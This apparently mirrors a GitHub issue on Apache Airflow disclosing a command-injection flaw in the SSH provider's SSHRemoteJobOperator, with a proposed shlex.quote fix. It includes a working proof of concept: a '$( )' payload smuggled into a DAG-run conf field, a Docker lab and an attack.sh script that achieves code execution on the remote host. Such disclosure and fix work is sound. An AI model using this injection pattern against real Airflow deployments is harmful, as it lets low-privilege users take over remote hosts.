nedlir opened a new issue, #74601:
URL: https://github.com/apache/airflow/issues/74601
### Under which category would you file this issue?
Providers
### Apache Airflow version
3.3.2 (core). Affected component: apache-airflow-providers-ssh 4.3.0 → 6.1.0
### What happened and how to reproduce it?
`SSHRemoteJobOperator.build_posix_wrapper_command` injects user-supplied
`environment` values into a
shell script with broken quoting. Each value is single-quote-escaped once,
then embedded a second time
inside a single-quoted `job_script='...'` literal, so the value ends up
**unquoted** in the outer shell
on the remote host. Any `$( )`, backtick, `;`, or space is executed. A
low-privilege Airflow user (role
`USER`) who may only **trigger** a Dag, not author Dags and not read
connections, gains **arbitrary
command execution on the remote SSH host** as the connection's service
account.
| | |
|---|---|
| **Type** | CWE-78 (OS Command Injection) / CWE-116 (Improper Encoding) |
| **Attack vector** | Network; authenticated as low-privilege `USER` role |
| **Impact** | RCE on the remote SSH target as the connection's Unix user;
lateral movement with its credentials |
| **CVSS 3.1 (suggested)** | **8.0 High**,
`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` |
| **Windows path** | `build_windows_wrapper_command` has the analogous flaw
(see the fix below) |
**Trust boundary crossed.** Airflow trusts Dag authors with code execution,
but not a user who merely
triggers Dags. Dag authorship is a filesystem/git capability on the Dag
bundle, which the `USER` role
does not have. The Dag author here followed the recommended secure pattern
(fixed `command`; untrusted
value passed through `environment`, not string-interpolated into the
command), yet the provider's own
escaping turns that documented-safe channel into the injection point.
**Root cause.**
```python
# airflow/providers/ssh/utils/remote_job.py (build_posix_wrapper_command)
escaped_value = value.replace("'", "'\"'\"'") # escaped for ONE quoting
level
env_exports += f"export {key}='{escaped_value}'\n"
...
job_script='
...
export INPUT_FILE='<value>' # this opening quote CLOSES job_script's
single-quote
<command> ... # so <value> is evaluated by the OUTER
shell
'
```
**Reproduce.** A Dag author uses the operator the recommended way, passing a
trigger-time value through
`environment`:
```python
SSHRemoteJobOperator(
task_id="process_file",
ssh_conn_id="etl_ssh",
command="/opt/etl/run_etl", # fixed,
author-controlled
environment={"INPUT_FILE": "{{ dag_run.conf.get('input_file',
params.input_file) }}"},
)
```
A `USER`-role account triggers the Dag via the REST API with a weaponised
value:
```jsonc
POST /api/v2/dags/remote_etl_pipeline/dagRuns
{ "conf": { "input_file": "sales_2024.csv$(id > /tmp/PWNED 2>&1; hostname >>
/tmp/PWNED)" } }
```
The injected command runs on the remote host. Observed output, written on
the ETL host by the task:
```
uid=1001(etluser) gid=1001(etluser) groups=1001(etluser)
Linux etl-host 7.0.0 ... x86_64 GNU/Linux
etl-host
```
The same account receives HTTP `403` on `GET /api/v2/connections/etl_ssh`.
It never sees the SSH
password, yet achieves RCE on the host behind it. A full self-contained
Docker lab (pinned Airflow 3.3.2
+ ssh 6.1.0 from PyPI) that reproduces this and verifies the fix
### What you think should happen instead?
`environment` values must reach the remote command as inert strings. Quote
each value with
`shlex.quote()`, then escape the whole export block once more for the
single-quoted `job_script` literal
(the treatment the command already gets). With the fix, `;`, `$( )`,
backticks, and spaces reach the job
verbatim and nothing executes. This is verified in the lab.
```diff
--- a/airflow/providers/ssh/utils/remote_job.py
+++ b/airflow/providers/ssh/utils/remote_job.py
@@ def build_posix_wrapper_command(
env_exports = ""
if environment:
for key, value in environment.items():
_validate_env_var_name(key)
- escaped_value = value.replace("'", "'\"'\"'")
- env_exports += f"export {key}='{escaped_value}'\n"
+ env_exports += f"export {key}={shlex.quote(value)}\n"
+ # env_exports is embedded in the single-quoted job_script literal
below, so escape it
+ # at that level too (same treatment the command already gets).
+ env_exports = env_exports.replace("'", "'\"'\"'")
escaped_command = command.replace("'", "'\"'\"'")
```
Windows (`build_windows_wrapper_command`) doubles only ASCII `'`, while
PowerShell also treats
U+2018/2019/201A/201B as single quotes, so escape those too:
```python
def ps_escape(s: str) -> str:
return re.sub("['\u2018\u2019\u201a\u201b]", lambda m: m.group(0) * 2, s)
```
### Operating System
_No response_
### Deployment
None
### Apache Airflow Provider(s)
_No response_
### Versions of Apache Airflow Providers
_No response_
### Official Helm Chart version
Not Applicable
### Kubernetes Version
_No response_
### Helm Chart configuration
_No response_
### Docker Image customizations
# Operating System
Ubuntu 24.04
# Deployment
Other Docker-based deployment (reproducible Docker Compose lab; default
`SimpleAuthManager`, attacker uses the `USER` role)
# Apache Airflow Provider(s)
ssh
# Versions of Apache Airflow Providers
```
apache-airflow-providers-ssh==6.1.0
```
Also present since 4.3.0 (when the operator was introduced), through the
current release 6.1.0.
# Official Helm Chart version
Not Applicable
# Kubernetes Version
Not Applicable
# Helm Chart configuration
Not Applicable
# Docker Image customizations
The lab uses a stock `ubuntu:24.04` image with `apache-airflow==3.3.2` and
`apache-airflow-providers-ssh==6.1.0` installed from PyPI (the official
constraints for core, the
provider pinned separately to 6.1.0). Full Dockerfiles are in thhis"
section. No change to
the provider code; the vulnerability is in the released package.
### Anything else?
# Anything else?
Occurs every time the operator runs on a POSIX target with an `environment`
value containing shell
metacharacters. Self-contained reproduction lab (installs only released PyPI
packages). Run
`docker compose up -d --build`, then `./attack.sh` (result: VULNERABLE);
`./verify_patched.sh` applies
the fix in-place and re-runs (result: NOT EXPLOITED, same account, same
payload, no marker on the host).
<details>
<summary><code>docker-compose.yml</code></summary>
```yaml
services:
etl-host:
build: ./etl-host
container_name: lab-etl-host
hostname: etl-host
networks: [labnet]
airflow:
build: ./airflow
container_name: lab-airflow
depends_on: [etl-host]
networks: [labnet]
ports: ["8080:8080"]
environment:
AIRFLOW_HOME: /opt/airflow
AIRFLOW__CORE__AUTH_MANAGER:
airflow.api_fastapi.auth.managers.simple.simple_auth_manager.SimpleAuthManager
AIRFLOW__CORE__SIMPLE_AUTH_MANAGER_USERS: "admin:ADMIN,analyst:USER"
AIRFLOW__CORE__LOAD_EXAMPLES: "False"
AIRFLOW__API__BASE_URL: "http://localhost:8080"
volumes:
- ./airflow/dags:/opt/airflow/dags:ro
command: ["/opt/entrypoint.sh"]
networks:
labnet:
driver: bridge
```
</details>
<details>
<summary><code>airflow/Dockerfile</code></summary>
```dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive AIRFLOW_HOME=/opt/airflow
PATH=/opt/airflow-venv/bin:$PATH
ARG AIRFLOW_VERSION=3.3.2
ARG SSH_PROVIDER_VERSION=6.1.0
ARG PYTHON_VERSION=3.12
RUN apt-get update && apt-get install -y --no-install-recommends \
python3 python3-venv python3-dev build-essential libffi-dev
libssl-dev pkg-config \
openssh-client curl jq ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN python3 -m venv /opt/airflow-venv && pip install --no-cache-dir
--upgrade pip
# Core pinned via official constraints; provider installed separately so
6.1.0 (latest) wins
# over the 6.0.1 pin in constraints-3.3.2 (both carry the identical
vulnerable code).
RUN
CONSTRAINTS="https://raw.githubusercontent.com/apache/airflow/constraints-${AIRFLOW_VERSION}/constraints-${PYTHON_VERSION}.txt"
\
&& pip install --no-cache-dir "apache-airflow==${AIRFLOW_VERSION}"
--constraint "${CONSTRAINTS}"
RUN pip install --no-cache-dir
"apache-airflow-providers-ssh==${SSH_PROVIDER_VERSION}"
COPY entrypoint.sh /opt/entrypoint.sh
RUN chmod +x /opt/entrypoint.sh && mkdir -p /opt/airflow/dags
EXPOSE 8080
CMD ["/opt/entrypoint.sh"]
```
</details>
<details>
<summary><code>airflow/entrypoint.sh</code></summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
export AIRFLOW_HOME=${AIRFLOW_HOME:-/opt/airflow}
airflow db migrate >/dev/null 2>&1 || airflow db init >/dev/null 2>&1
airflow connections delete etl_ssh >/dev/null 2>&1 || true
airflow connections add etl_ssh \
--conn-type ssh --conn-host etl-host --conn-port 22 \
--conn-login etluser --conn-password etlpass \
--conn-extra '{"no_host_key_check": true, "conn_timeout": 15}' >/dev/null
exec airflow standalone
```
</details>
<details>
<summary><code>airflow/dags/remote_etl_pipeline.py</code></summary>
```python
from __future__ import annotations
import pendulum
from airflow.sdk import DAG
from airflow.providers.ssh.operators.ssh_remote_job import
SSHRemoteJobOperator
with DAG(
dag_id="remote_etl_pipeline",
schedule=None,
start_date=pendulum.datetime(2024, 1, 1, tz="UTC"),
catchup=False,
params={"input_file": "sales_2024.csv"},
tags=["etl", "ssh"],
) as dag:
SSHRemoteJobOperator(
task_id="process_file",
ssh_conn_id="etl_ssh",
command="/opt/etl/run_etl", # fixed;
extension-less avoids template_ext
environment={"INPUT_FILE": "{{ dag_run.conf.get('input_file',
params.input_file) }}"},
cleanup="always",
poll_interval=3,
)
```
</details>
<details>
<summary><code>etl-host/Dockerfile</code></summary>
```dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends
openssh-server coreutils \
&& rm -rf /var/lib/apt/lists/* && mkdir -p /run/sshd
RUN useradd -m -s /bin/bash etluser && echo 'etluser:etlpass' | chpasswd
RUN mkdir -p /opt/etl /data \
&& printf '%s\n' '#!/bin/bash' \
'echo "[etl] processing INPUT_FILE=$INPUT_FILE"' \
'wc -l "/data/$INPUT_FILE" 2>/dev/null || echo "[etl] no such file:
$INPUT_FILE"' \
'echo "[etl] done"' > /opt/etl/run_etl \
&& chmod +x /opt/etl/run_etl \
&& printf 'id,amount\n1,100\n2,250\n' > /data/sales_2024.csv \
&& chown -R etluser:etluser /opt/etl /data
RUN sed -i 's/^#\?PasswordAuthentication.*/PasswordAuthentication yes/'
/etc/ssh/sshd_config
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D", "-e"]
```
</details>
<details>
<summary><code>attack.sh</code> (exploit as the low-privilege
analyst)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
API="http://localhost:8080"; DAG_ID="remote_etl_pipeline";
MARKER="/tmp/PWNED_BY_ANALYST"
docker compose exec -T etl-host rm -f "$MARKER" 2>/dev/null || true
ANALYST_PW=$(docker compose exec -T airflow jq -r '.analyst'
/opt/airflow/simple_auth_manager_passwords.json.generated)
TOKEN=$(curl -s -X POST "$API/auth/token" -H 'Content-Type:
application/json' \
-d "{\"username\":\"analyst\",\"password\":\"$ANALYST_PW\"}" | jq -r
'.access_token')
echo "connection read as analyst -> HTTP $(curl -s -o /dev/null -w
'%{http_code}' \
"$API/api/v2/connections/etl_ssh" -H "Authorization: Bearer $TOKEN")
(expect 403)"
PAYLOAD='sales_2024.csv$(id > '"$MARKER"' 2>&1; uname -a >> '"$MARKER"';
hostname >> '"$MARKER"')'
curl -s -X POST "$API/api/v2/dags/$DAG_ID/dagRuns" -H "Authorization: Bearer
$TOKEN" \
-H 'Content-Type: application/json' \
-d "{\"dag_run_id\":\"attack-$(date
+%s)\",\"logical_date\":null,\"conf\":{\"input_file\":$(jq -Rn --arg v
"$PAYLOAD" '$v')}}" >/dev/null
for _ in $(seq 1 40); do docker compose exec -T etl-host test -f "$MARKER"
2>/dev/null && break; sleep 3; done
echo "=== $MARKER on etl-host ==="; docker compose exec -T etl-host cat
"$MARKER" 2>/dev/null \
&& echo "[VULNERABLE] RCE on etl-host as the SSH service account" ||
echo "[NOT EXPLOITED]"
```
</details>
<details>
<summary><code>verify_patched.sh</code> (apply the fix in-place and
re-run)</summary>
```bash
#!/usr/bin/env bash
set -euo pipefail
TARGET="/opt/airflow-venv/lib/python3.12/site-packages/airflow/providers/ssh/utils/remote_job.py"
docker compose exec -T airflow python3 - "$TARGET" <<'PY'
import sys
p=sys.argv[1]; s=open(p).read()
old=(' escaped_value = value.replace("\'", "\'\\"\'\\"\'")\n'
' env_exports += f"export {key}=\'{escaped_value}\'\\n"\n')
new=(' env_exports += f"export {key}={shlex.quote(value)}\\n"\n'
' env_exports = env_exports.replace("\'", "\'\\"\'\\"\'")\n')
assert old in s, "vulnerable lines not found"
open(p,"w").write(s.replace(old,new,1)); print("patched OK")
PY
docker compose restart airflow >/dev/null
until curl -s -o /dev/null http://localhost:8080/api/v2/version; do sleep 3;
done
sleep 5
./attack.sh
```
</details>
### Are you willing to submit PR?
- [x] Yes I am willing to submit a PR!
### Code of Conduct
- [x] I agree to follow this project's [Code of
Conduct](https://github.com/apache/airflow/blob/main/CODE_OF_CONDUCT.md)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]